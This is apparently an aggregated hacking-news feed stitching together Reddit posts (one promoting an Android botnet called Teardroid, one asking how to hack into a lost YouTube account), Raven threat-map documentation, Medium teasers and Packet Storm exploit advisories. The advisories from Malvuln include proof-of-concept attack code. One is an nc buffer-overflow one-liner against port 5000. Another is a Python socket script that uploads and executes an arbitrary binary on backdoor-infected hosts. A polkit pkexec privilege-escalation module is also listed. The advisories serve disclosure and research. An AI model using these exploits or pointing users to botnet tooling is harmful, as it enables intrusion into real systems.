hacking: security in practice
Teardroid v4 easy to use android botnet work without port forwarding, VPS and android studio

https://external-preview.redd.it/jjr4yBFu5GRUQy5zi4ugLN9MT99cSAOZLU6jJIsG3H0.jpg?width=640&crop=smart&auto=webp&s=9ffa4ac04fdb566ccf098ea3505be49341583ad8 submitted by /u/Way_Tough
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Any reports of Reddit iOS app compromise?

I hope this is in keeping with this sub's rules. It isn't intended to be an "I got hacked" post (as honestly I don't know if I did), but rather curious to know about what the community may be aware is actively happening.

So this may be me being super paranoid, but moments after I posted this, mildly anti-Russian, comment on the Ukraine live news post, the Reddit iPhone app that I was then using closed and installed an update.

I can't remember an app ever before closing and updating whilst in use (albeit I do have automatic updates enabled, the latest Reddit app in the App Store is a few days old now).

Are there any reports of the app having been compromised—or, worse, being actively exploited by pro-Russian elements?

submitted by /u/eggyal
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Hacking my own YouTube channel I lost an year ago

Hello. I may be really off here asking this question in this subreddit but if so please let me know and I'll take down the post and perhaps you can share me an appropriate subreddit for these kinds of questions. The deal is I've lost both my gmail and password for a Youtube channel I created an year ago. I've done everything a person can in such situation and have concluded that the only way to regain my account is by hacking it. And was wondering if anyone could possibly help with the process. I haven't hacked anything in my life before. AGAIN, IMPORTANT NOTE: please let me know if this post is completely out of line to post in this subreddit, I will take it down and if you are kind enough, please let me know a subreddit that could perhaps help. Thank you for reading.

submitted by /u/crypto_dababy
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
Raven : Advanced Cyber Threat Map (Simplified, Customizable, Responsive)

Raven – Advanced Cyber Threat Map (Simplified, customizable and responsive. It uses D3.js with TOPO JSON, has 247 countries, ~100,000 cities, and can be used in an isolated environment without external lookups!.

Features

* Uses D3.js (Not Anime.js)
* Active threat map (Live and replay)
* IP, country, city, and port info for each attack
* Attacks stats for countries (Only known attacks)
* Responsive interface (Move, drag, zoom in and out)
* Customize options for countries and cites
* 247 countries are listed on the interface (Not 174)
* Optimized worldmap for faster rendering
* Includes IP lookup, port information
* Random simulation (IP, country, city)
* Can be used online or offline (Static)
* Theme picker module Data

You have different options ip, name, and coordinates* ipprivate or public ip -> any of these IPs -> 0.0.0.0or 8.8.8.8as {'from':'0.0.0.0','to':'8.8.8.8'}* namecity,state,country -> any of these formats work -> seattle,wa,usor 0,usas {'from':'seattle,wa,us','to':'0,in'}* coordinatesLatitude and Longitude as {'from':['-11.074920','-51.648929'],'to':['51.464957','-107.583864']}Method 1 – Embed it and interact with it

//You only need to embed this iframe in your project.

//Then, run the initialization script with your custom settings – That’s all!
script type=”text/javascript”>
document.getElementById(‘raven-iframe’).addEventListener(“load”, function() {
var raven_options = {
‘world_type’: null,
‘selected_countries’: [],
‘remove_countries’: [‘aq’],
‘height’: window.innerHeight,
‘width’: window.innerWidth,
‘backup_background_color’: ‘#212222’,
‘orginal_country_color’: ‘#737373’,
‘clicked_country_color’: ‘#6c4242’,
‘selected_country_color’: ‘#ff726f’,
‘attack_output’: true,
‘global_timeout’: 2000,
‘global_stats_limit’: 10,
‘db_length’: 1000,
‘location’: ‘scripts’,
‘panels’: [‘multi-output’, ‘single-output’,’tooltip’, ‘random’, ‘insert’,’taskbar’],
‘disable’: [],
‘verbose’: true
}
window[‘raven’] = document.getElementById(‘raven-iframe’).contentWindow.raven
window[‘raven’].init_all(raven_options)
window[‘raven’].init_world()
});
//After that, you can plot any data you want
raven.add_to_data_to_table(‘name’,{‘from’:’seattle,wa,us’,’to’:’delhi,in’},{‘line’:{‘from’:null,’to’:null}},2000,[‘line’,’multi-output’,’single-output’])
Plotting data (functions)

raven.add_marker_by_name() //Plot info by country or city name
raven.add_marker_by_ip() //Plot data by IP address
raven.add_marker_by_coordinates() //Plot data by coordinates
marker_object //An object {‘from’:”,’to’:””} see examples
colors_object //An object {‘line: {‘from’: ”#FF0000′,’to’: ‘FF0000’}} this the color of the line between 2 points – (if null, then a random color will be picked)
timeout //Animation time out
options = [] //A list of options such as animation marker

Plotting data (As line, from -> to)

raven.add_marker_by_name({‘from’:’seattle,wa,us’,’to’:’delhi,in’},{‘line’:{‘from’:null,’to’:null}},2000,[‘line’])
raven.add_marker_by_ip({‘from’:’0.0.0.0′,’to’:’0.0.0.0:53′},{‘line’:{‘from’:’#FF0000′,’to’:’#FF0000′}},1000,[‘line’])
raven.add_marker_by_coordinates({‘from’:[‘-11.074920′,’-51.648929′],’to’:[‘51.464957′,’-107.583864′]},{‘line’:{‘from’:null,’to’:’#FFFF00′}},1000,[‘line’])

Plotting data (As point)

raven.add_marker_by_name({‘from’:’portland,or,us’,’to’:null},{‘line’:{‘from’:null,’to’:null}},2000,[‘point’])
raven.add_marker_by_ip({‘from’:’8.8.8.8′,’to’:null},{‘line’:{‘from’:’#FF0000′,’to’:’#FF0000′}},1000,[‘point’])
raven.add_marker_by_coordinates({‘from’:[‘-11.074920′,’-51.648929′],’to’:null},{‘line’:{‘from’:null,’to’:’#FFFF00′}},1000,[‘point’])

[...]

___________________________
@hacking_Attack
@Hacking_Video

Plotting data + adding it to the output table (function)

raven.add_to_data_to_table() //Plot info and add them to the output table
method //Name, IP or coordinates
marker_object //An object {‘from’:”,’to’:””} see examples
colors_object //An object {‘line: {‘from’: ”#FF0000′,’to’: ‘FF0000’}} this the color of the line between 2 points – (if null, then a random color will be picked)
timeout //Animation time out
options = [] //A list of options such as animation marker ‘line’, and plot place ‘multi-output’ or ‘single-out’ table or both

Plotting data + adding it to the output table (As line, from -> to)

raven.add_to_data_to_table(‘name’,{‘from’:’seattle,wa,us’,’to’:’delhi,in’},{‘line’:{‘from’:null,’to’:null}},2000,[‘line’,’multi-output’,’single-output’])
raven.add_to_data_to_table(‘ip’,{‘from’:’0.0.0.0′,’to’:’0.0.0.0:3389′},{‘line’:{‘from’:’#FF0000′,’to’:’#FF0000′}},1000,[‘line’,’multi-output’])
raven.add_to_data_to_table(‘coordinates’,{‘from’:[‘-11.074920′,’-51.648929′],’to’:[‘51.464957′,’-107.583864′]},{‘line’:{‘from’:null,’to’:’#FFFF00′}},1000,[‘line’,’single-output’])

Plotting data + adding it to the output table (As point)

raven.add_to_data_to_table(‘name’,{‘from’:’seattle,wa,us’,’to’:’delhi,in’},{‘line’:{‘from’:null,’to’:null}},2000,[‘line’,’multi-output’,’single-output’])
raven.add_to_data_to_table(‘ip’,{‘from’:’0.0.0.0′,’to’:’0.0.0.0:3389′},{‘line’:{‘from’:’#FF0000′,’to’:’#FF0000′}},1000,[‘line’,’multi-output’])
raven.add_to_data_to_table(‘coordinates’,{‘from’:[‘-11.074920′,’-51.648929′],’to’:[‘51.464957′,’-107.583864′]},{‘line’:{‘from’:null,’to’:’#FFFF00′}},1000,[‘line’,’single-output’])

Method 2 – Embed it, and use websocket for plotting

Raven Map

You only need to embed this iframe in your project.
iframe id=”raven-iframe” src=”src/raven.html” frameborder=”0″ width=”100%” height=”100%” scrolling=”auto”>
script type=”text/javascript”>
document.getElementById(‘raven-iframe’).addEventListener(“load”, function() {
var raven_options = {
‘world_type’: null,
‘selected_countries’: [],
‘remove_countries’: [‘aq’],
‘height’: window.innerHeight,
‘width’: window.innerWidth,
‘backup_background_color’: ‘#212222’,
‘orginal_country_color’: ‘#737373’,
‘clicked_country_color’: ‘#6c4242’,
‘selected_country_color’: ‘#ff726f’,
‘attack_output’: true,
‘global_timeout’: 2000,
‘global_stats_limit’: 10,
‘db_length’: 1000,
‘location’: ‘scripts’,
‘panels’: [‘single-output’],
‘disable’: [‘multi-output’,’tooltip’, ‘random’, ‘insert’,’taskbar’,’move_to_country’],
‘websocket’:{‘server’:’ws://localhost:5678′,
‘request_timeout’:3000},
‘verbose’: false
}
window[‘raven’] = document.getElementById(‘raven-iframe’).contentWindow.raven
window[‘raven’].init_all(raven_options)
window[‘raven’].init_world()
window[‘raven’].fetch_data_from_server()
});
Plotting data – Send the json object using Websocket ws://localhost:5678

{
“function”:”marker”,
“method”: “ip”,
“object”: {
“from”: “0.0.0.0”,
“to”: “0.0.0.0”
},
“color”: {
“line”: {
“from”: “#977777”,
“to”: “#17777”,
}
},
“timeout”: 1000,
“options”: [
“line”,
“single-output”,
“multi-output”
]
}

Plotting data and add to table – Send the json object using Websocket ws://localhost:5678

{
“function”:”table”,
“method”: “name”,
“object”: {
“from”: “0,us”,
“to”: “0,br”
},
“color”: {
“line”: {
“from”: “#977777”,
“to”: “#17777”,
}
},
“timeout”: 1000,
“options”: [
“line”,
“single-output”,
“multi-output”
]
}

Run simulation (Isolated)

sudo docker build -t simulation . && sudo docker run -p 5678:5678 -p 8080:8080 -it simulation Download

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Tips for looking for internship/job while in college!

When I got into college I had it in my head that you had be a senior/junior to get an internship. This is not the case, you can apply to…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
How DeFiHelper Keeps Your Funds Safe

https://cdn-images-1.medium.com/max/1280/1*NKltu-VceJDBD1YS_ncpZA.jpeg
Security is a matter of life and death for all cryptocurrency users. How do we address it in DeFiHelper?

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
A Backdoor Lockpick

https://cdn-images-1.medium.com/max/1920/1*Rw4-RtU8X-RkKlc0LElhIw.png
Reversing and Subverting Phicomm’s Backdoor Protocols

Continue reading on Tenable TechBlog »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
CEH or eJPT? After 12th!

https://cdn-images-1.medium.com/max/640/1*D5FE3rtRMx2fYcDGge9KGQ.jpeg
Yes! you believe it or not but there is really a huge difference between these courses, even if we talk about practical knowledge or the…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Is Ethical Hacking right for you? Read this.

https://cdn-images-1.medium.com/max/1000/1*VnFXt9nToOS2qj7orBsDZg.jpeg
Today’s question of the day is that, Is Ethical Hacking right for you? In this blog, I will be discussing with you in full detail…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Backdoor.Win32.BNLite Buffer Overflow

https://3.bp.blogspot.com/-Q0zmt52Iz_s/WWlvCi1SqRI/AAAAAAAAIKo/56GGQ_7zLBsvaLtYw9wmjI_Jb6z2oza2QCLcBGAs/s1600/h129.png
Backdoor.Win32.BNLite malware suffers from a buffer overflow vulnerability.

MD5 | dbde5bac13398ffd2ee1d5e6cfbbb825

Download
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/0d1f873f6816debd244e1e77509f6ba7.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.BNLite
Vulnerability: Remote Stack Buffer Overflow
Description: BioNet Lite Server 4.0a listens on TCP port 5000. Third-party attackers who can reach an infected system can trigger a buffer overflow overwriting the ECX, EDX and AX (16-bit) registers by sending a long junk payload.
Family: BNLite
Type: PE32
MD5: 0d1f873f6816debd244e1e77509f6ba7
Vuln ID: MVID-2022-0502
Dropped files: procmon.exe
ASLR: False
DEP: False
CFG: False
Safe SEH: False
Disclosure: 03/03/2022

Memory Dump:
EAX : 00004141
EBX : 027BD120
ECX : 41414141
EDX : 41414141
EBP : 0019FC08
ESP : 0019FA48
ESI : 027BD128
EDI : 02780000
EIP : 776E2D6A ntdll.776E2D6A
Exploit/PoC:
C:\>python -c "print('A'*10000)" | nc64.exe x.x.x.x 5000
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Polkit pkexec Privilege Escalation

https://4.bp.blogspot.com/-IV-83q7tlNU/WWlvNru3JHI/AAAAAAAAIMg/qWmIdM50sJs0a5mqLHfeVDVNkTKQ10wJwCLcBGAs/s1600/h23.png
This is a Metasploit module for the argument processing bug in the polkit pkexec binary that leads to privilege escalation. It leverages the raw C exploit.

MD5 | 1c7b71c2b42bec0e323126452fba5502

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Backdoor.Win32.Augudor.a Remote File Write / Code Execution

https://2.bp.blogspot.com/-y5QhCp_hFKM/WWlvahEOH0I/AAAAAAAAIPA/Q0VQ49Z0hVw4skegRDdSXm3Bk15Ptyg5wCLcBGAs/s1600/h70.png
Backdoor.Win32.Augudor.a malware suffers from an unauthenticated remote file write vulnerability that allows for remote code execution.

MD5 | 307497cf2d25c4327634eee90f50da5a

Download
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/bf1b1a2f4be78d6b62ed7c316c77a9a1.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Augudor.a
Vulnerability: Unauthenticated Remote File Write - RCE
Description: Augudor.a drops an empty file named "zy.exe" and listens on TCP port 1011. Attackers who can reach the infected host can write any binary file they like to the empty "zy.exe" file on the system and it will execute as soon as the binary transfer has completed.
Family: Augudor
Type: PE32
MD5: bf1b1a2f4be78d6b62ed7c316c77a9a1
Vuln ID: MVID-2022-0501
Dropped files: zy.exe
Disclosure: 03/03/2022

Exploit/PoC:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=1011
DOOM="DOOM.exe"

def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))

f = open(DOOM, "rb")
EXE = f.read()
s.send(EXE)

while EXE:
s.send(EXE)
EXE=f.read()
s.close()

print("Backdoor.Win32.Augudor.a / Unauthenticated Remote File Write Code Execution")
print("MD5: bf1b1a2f4be78d6b62ed7c316c77a9a1")
print("By Malvuln");

if __name__=="__main__":
doit()
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Backdoor.Win32.FTP.Nuclear.10 Hardcoded Credential

https://3.bp.blogspot.com/-DuI_c3FaBwQ/WWlvaHZ97uI/AAAAAAAAIO8/N3071iSnuSkvxUt6NQQ_hoJeYx39DTurQCLcBGAs/s1600/h61.png
Backdoor.Win32.FTP.Nuclear.10 malware suffers from a hardcoded credential vulnerability.

MD5 | 26ec56b08322d80920c30a266f011258

Download
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/9c23dad9ba11305fecf38bed46b0cec2.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.FTP.Nuclear.10
Vulnerability: Hardcoded Credentials
Description: The malware builds backdoor files and uses UPX packer. When building server.exe the provided credentials are then stored within the PE file. Unpacking the malware reveals the hardcoded credentials of which the default is "nuclearftp".
Family: Nuclear
Type: PE32
MD5: 9c23dad9ba11305fecf38bed46b0cec2
Vuln ID: MVID-2022-0503
Dropped files: server.exe
Disclosure: 03/03/2022

Exploit/PoC:
C:\dump>strings.py server.exe | findstr nuclearftp
0x5e584: nuclearftp
0x5e5a8: nuclearftp
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video